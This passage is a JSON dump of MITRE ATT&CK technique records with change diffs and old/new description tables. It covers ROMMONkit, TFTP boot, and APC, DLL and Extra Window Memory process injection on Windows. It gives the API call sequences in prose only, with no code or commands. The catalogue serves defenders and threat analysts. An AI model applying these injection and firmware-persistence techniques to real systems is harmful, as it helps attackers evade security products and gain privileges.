| > | n the platform is powered on or reset. Similar to [TFTP Boot | > | the platform is powered on or reset. Similar to [TFTP Boot] | ||
| > | ](https://attack.mitre.org/techniques/T1542/005), an adversa | > | (https://attack.mitre.org/techniques/T1542/005), an adversar | ||
| > | ry may upgrade the ROMMON image locally or remotely (for exa | > | y may upgrade the ROMMON image locally or remotely (for exam | ||
| > | mple, through TFTP) with adversary code and restart the devi | > | ple, through TFTP) with adversary code and restart the devic | ||
| > | ce in order to overwrite the existing ROMMON image. This pro | > | e in order to overwrite the existing ROMMON image. This prov | ||
| > | vides adversaries with the means to update the ROMMON to gai | > | ides adversaries with the means to update the ROMMON to gain | ||
| > | n persistence on a system in a way that may be difficult to | > | persistence on a system in a way that may be difficult to d | ||
| > | detect. | > | etect. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse netbooting to load an unauthorized net | t | 1 | Adversaries may abuse netbooting to load an unauthorized net |
| > | work device operating system from a Trivial File Transfer Pr | > | work device operating system from a Trivial File Transfer Pr | ||
| > | otocol (TFTP) server. TFTP boot (netbooting) is commonly use | > | otocol (TFTP) server. TFTP boot (netbooting) is commonly use | ||
| > | d by network administrators to load configuration-controlled | > | d by network administrators to load configuration-controlled | ||
| > | network device images from a centralized management server. | > | network device images from a centralized management server. | ||
| > | Netbooting is one option in the boot sequence and can be us | > | Netbooting is one option in the boot sequence and can be us | ||
| > | ed to centralize, manage, and control device images. Advers | > | ed to centralize, manage, and control device images. Advers | ||
| > | aries may manipulate the configuration on the network device | > | aries may manipulate the configuration on the network device | ||
| > | specifying use of a malicious TFTP server, which may be use | > | specifying use of a malicious TFTP server, which may be use | ||
| > | d in conjunction with [Modify System Image](https://attack.m | > | d in conjunction with [Modify System Image](https://attack.m | ||
| > | itre.org/techniques/T1601) to load a modified image on devic | > | itre.org/techniques/T1601) to load a modified image on devic | ||
| > | e startup or reset. The unauthorized image allows adversarie | > | e startup or reset. The unauthorized image allows adversarie | ||
| > | s to modify device configuration, add malicious capabilities | > | s to modify device configuration, add malicious capabilities | ||
| > | to the device, and introduce backdoors to maintain control | > | to the device, and introduce backdoors to maintain control | ||
| > | of the network device while minimizing detection through use | > | of the network device while minimizing detection through use | ||
| > | of a standard functionality. This technique is similar to [ | > | of a standard functionality. This technique is similar to [ | ||
| > | ROMMONkit](https://attack.mitre.org/techniques/T1542/004) an | > | ROMMONkit](https://attack.mitre.org/techniques/T1542/004) an | ||
| > | d may result in the network device running a modified image. | > | d may result in the network device running a modified image. | ||
| > | (Citation: Cisco Blog Legacy Device Attacks) | > | (Citation: Cisco Blog Legacy Device Attacks) |
OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.(Citation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/004",
"external_id": "T1055.004"
},
{
"source_name": "CyberBit Early Bird Apr 2018",
"description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
"url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/"
},
{
"source_name": "ENSIL AtomBombing Oct 2016",
"description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
"url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
},
{
"source_name": "Microsoft Atom Table",
"description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
},
{
"source_name": "Microsoft APC",
"description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:31:46.649000+00:00\", \"old_value\": \"2026-05-12 15:12:00.644000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nAPC injection is commonly performed by attaching malicious code to the APC Queue(Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \\n\\nA variation of APC injection, dubbed \\\"Early Bird injection\\\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.(Citation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \\n\\nA variation of APC injection, dubbed \\\"Early Bird injection\\\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \\n+APC injection is commonly performed by attaching malicious code to the APC Queue(Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \\n \\n-A variation of APC injection, dubbed \\\"Early Bird injection\\\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\\n+A variation of APC injection, dubbed \\\"Early Bird injection\\\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.(Citation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via the | t | 1 | Adversaries may inject malicious code into processes via the |
| > | asynchronous procedure call (APC) queue in order to evade p | > | asynchronous procedure call (APC) queue in order to evade p | ||
| > | rocess-based defenses as well as possibly elevate privileges | > | rocess-based defenses as well as possibly elevate privileges | ||
| > | . APC injection is a method of executing arbitrary code in t | > | . APC injection is a method of executing arbitrary code in t | ||
| > | he address space of a separate live process. APC injection | > | he address space of a separate live process. APC injection | ||
| > | is commonly performed by attaching malicious code to the AP | > | is commonly performed by attaching malicious code to the AP | ||
| > | C Queue (Citation: Microsoft APC) of a process's thread. Que | > | C Queue(Citation: Microsoft APC) of a process's thread. Queu | ||
| > | ued APC functions are executed when the thread enters an alt | > | ed APC functions are executed when the thread enters an alte | ||
| > | erable state.(Citation: Microsoft APC) A handle to an existi | > | rable state.(Citation: Microsoft APC) A handle to an existin | ||
| > | ng victim process is first created with native Windows API c | > | g victim process is first created with native Windows API ca | ||
| > | alls such as <code>OpenThread</code>. At this point <code>Qu | > | lls such as <code>OpenThread</code>. At this point <code>Que | ||
| > | eueUserAPC</code> can be used to invoke a function (such as | > | ueUserAPC</code> can be used to invoke a function (such as < | ||
| > | <code>LoadLibrayA</code> pointing to a malicious DLL). A v | > | code>LoadLibrayA</code> pointing to a malicious DLL). A va | ||
| > | ariation of APC injection, dubbed \"Early Bird injection\", in | > | riation of APC injection, dubbed \"Early Bird injection\", inv | ||
| > | volves creating a suspended process in which malicious code | > | olves creating a suspended process in which malicious code c | ||
| > | can be written and executed before the process' entry point | > | an be written and executed before the process' entry point ( | ||
| > | (and potentially subsequent anti-malware hooks) via an APC. | > | and potentially subsequent anti-malware hooks) via an APC.(C | ||
| > | (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citati | > | itation: CyberBit Early Bird Apr 2018) AtomBombing(Citation: | ||
| > | on: ENSIL AtomBombing Oct 2016) is another variation that ut | > | ENSIL AtomBombing Oct 2016) is another variation that utili | ||
| > | ilizes APCs to invoke malicious code previously written to t | > | zes APCs to invoke malicious code previously written to the | ||
| > | he global atom table.(Citation: Microsoft Atom Table) Runni | > | global atom table.(Citation: Microsoft Atom Table) Running | ||
| > | ng code in the context of another process may allow access t | > | code in the context of another process may allow access to t | ||
| > | o the process's memory, system/network resources, and possib | > | he process's memory, system/network resources, and possibly | ||
| > | ly elevated privileges. Execution via APC injection may also | > | elevated privileges. Execution via APC injection may also ev | ||
| > | evade detection from security products since the execution | > | ade detection from security products since the execution is | ||
| > | is masked under a legitimate process. | > | masked under a legitimate process. |
VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL).(Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into a process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/001",
"external_id": "T1055.001"
},
{
"source_name": "Hiding Malicious Code with Module Stomping",
"description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.",
"url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"
},
{
"source_name": "Elastic HuntingNMemory June 2017",
"description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "Module Stomping for Shellcode Injection",
"description": "Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.",
"url": "https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Boominathan Sundaram"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:16:43.999000+00:00\", \"old_value\": \"2026-05-12 15:12:00.724000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL).(Citation: Elastic Process Injection July 2017) \\n\\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into a process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \\n\\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \\n\\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \\n\\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,8 @@\\n Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \\n+DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL).(Citation: Elastic Process Injection July 2017) \\n \\n-Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \\n+Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into a process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually performing the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \\n \\n Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \\n \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr | t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr |
| > | ocesses in order to evade process-based defenses as well as | > | ocesses in order to evade process-based defenses as well as | ||
| > | possibly elevate privileges. DLL injection is a method of ex | > | possibly elevate privileges. DLL injection is a method of ex | ||
| > | ecuting arbitrary code in the address space of a separate li | > | ecuting arbitrary code in the address space of a separate li | ||
| > | ve process. DLL injection is commonly performed by writin | > | ve process. DLL injection is commonly performed by writin | ||
| > | g the path to a DLL in the virtual address space of the targ | > | g the path to a DLL in the virtual address space of the targ | ||
| > | et process before loading the DLL by invoking a new thread. | > | et process before loading the DLL by invoking a new thread. | ||
| > | The write can be performed with native Windows API calls suc | > | The write can be performed with native Windows API calls suc | ||
| > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | ||
| > | y</code>, then invoked with <code>CreateRemoteThread</code> | > | y</code>, then invoked with <code>CreateRemoteThread</code> | ||
| > | (which calls the <code>LoadLibrary</code> API responsible fo | > | (which calls the <code>LoadLibrary</code> API responsible fo | ||
| > | r loading the DLL). (Citation: Elastic Process Injection Jul | > | r loading the DLL).(Citation: Elastic Process Injection July | ||
| > | y 2017) Variations of this method such as reflective DLL i | > | 2017) Variations of this method such as reflective DLL in | ||
| > | njection (writing a self-mapping DLL into a process) and mem | > | jection (writing a self-mapping DLL into a process) and memo | ||
| > | ory module (map DLL when writing into process) overcome the | > | ry module (map DLL when writing into a process) overcome the | ||
| > | address relocation issue as well as the additional APIs to i | > | address relocation issue as well as the additional APIs to | ||
| > | nvoke execution (since these methods load and execute the fi | > | invoke execution (since these methods load and execute the f | ||
| > | les in memory by manually preforming the function of <code>L | > | iles in memory by manually performing the function of <code> | ||
| > | oadLibrary</code>).(Citation: Elastic HuntingNMemory June 20 | > | LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2 | ||
| > | 17)(Citation: Elastic Process Injection July 2017) Another | > | 017)(Citation: Elastic Process Injection July 2017) Anothe | ||
| > | variation of this method, often referred to as Module Stomp | > | r variation of this method, often referred to as Module Stom | ||
| > | ing/Overloading or DLL Hollowing, may be leveraged to concea | > | ping/Overloading or DLL Hollowing, may be leveraged to conce | ||
| > | l injected code within a process. This method involves loadi | > | al injected code within a process. This method involves load | ||
| > | ng a legitimate DLL into a remote process then manually over | > | ing a legitimate DLL into a remote process then manually ove | ||
| > | writing the module's <code>AddressOfEntryPoint</code> before | > | rwriting the module's <code>AddressOfEntryPoint</code> befor | ||
| > | starting a new thread in the target process.(Citation: Modu | > | e starting a new thread in the target process.(Citation: Mod | ||
| > | le Stomping for Shellcode Injection) This variation allows a | > | ule Stomping for Shellcode Injection) This variation allows | ||
| > | ttackers to hide malicious injected code by potentially back | > | attackers to hide malicious injected code by potentially bac | ||
| > | ing its execution with a legitimate DLL file on disk.(Citati | > | king its execution with a legitimate DLL file on disk.(Citat | ||
| > | on: Hiding Malicious Code with Module Stomping) Running co | > | ion: Hiding Malicious Code with Module Stomping) Running c | ||
| > | de in the context of another process may allow access to the | > | ode in the context of another process may allow access to th | ||
| > | process's memory, system/network resources, and possibly el | > | e process's memory, system/network resources, and possibly e | ||
| > | evated privileges. Execution via DLL injection may also evad | > | levated privileges. Execution via DLL injection may also eva | ||
| > | e detection from security products since the execution is ma | > | de detection from security products since the execution is m | ||
| > | sked under a legitimate process. | > | asked under a legitimate process. |
WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/011",
"external_id": "T1055.011"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "MalwareTech Power Loader Aug 2013",
"description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
"url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
},
{
"source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
"description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
"url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
},
{
"source_name": "Microsoft Window Classes",
"description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
},
{
"source_name": "Microsoft GetWindowLong function",
"description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
},
{
"source_name": "Microsoft SetWindowLong function",
"description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:09:58.175000+00:00\", \"old_value\": \"2026-05-12 15:12:00.617000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into a process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nBefore creating a window, graphical Windows-based processes must register a windows class, which stipulates appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.(Citation: Microsoft GetWindowLong function)(Citation: Microsoft SetWindowLong function)\\n\\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\\u2019s EWM.\\n\\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\\n\\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\\u2019s EWM.\\n\\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,9 @@\\n-Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \\n+Adversaries may inject malicious code into a process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\\n+Before creating a window, graphical Windows-based processes must register a windows class, which stipulates appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.(Citation: Microsoft GetWindowLong function)(Citation: Microsoft SetWindowLong function)\\n \\n Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\\u2019s memory, placing a pointer to the code in EWM, then invoking execution 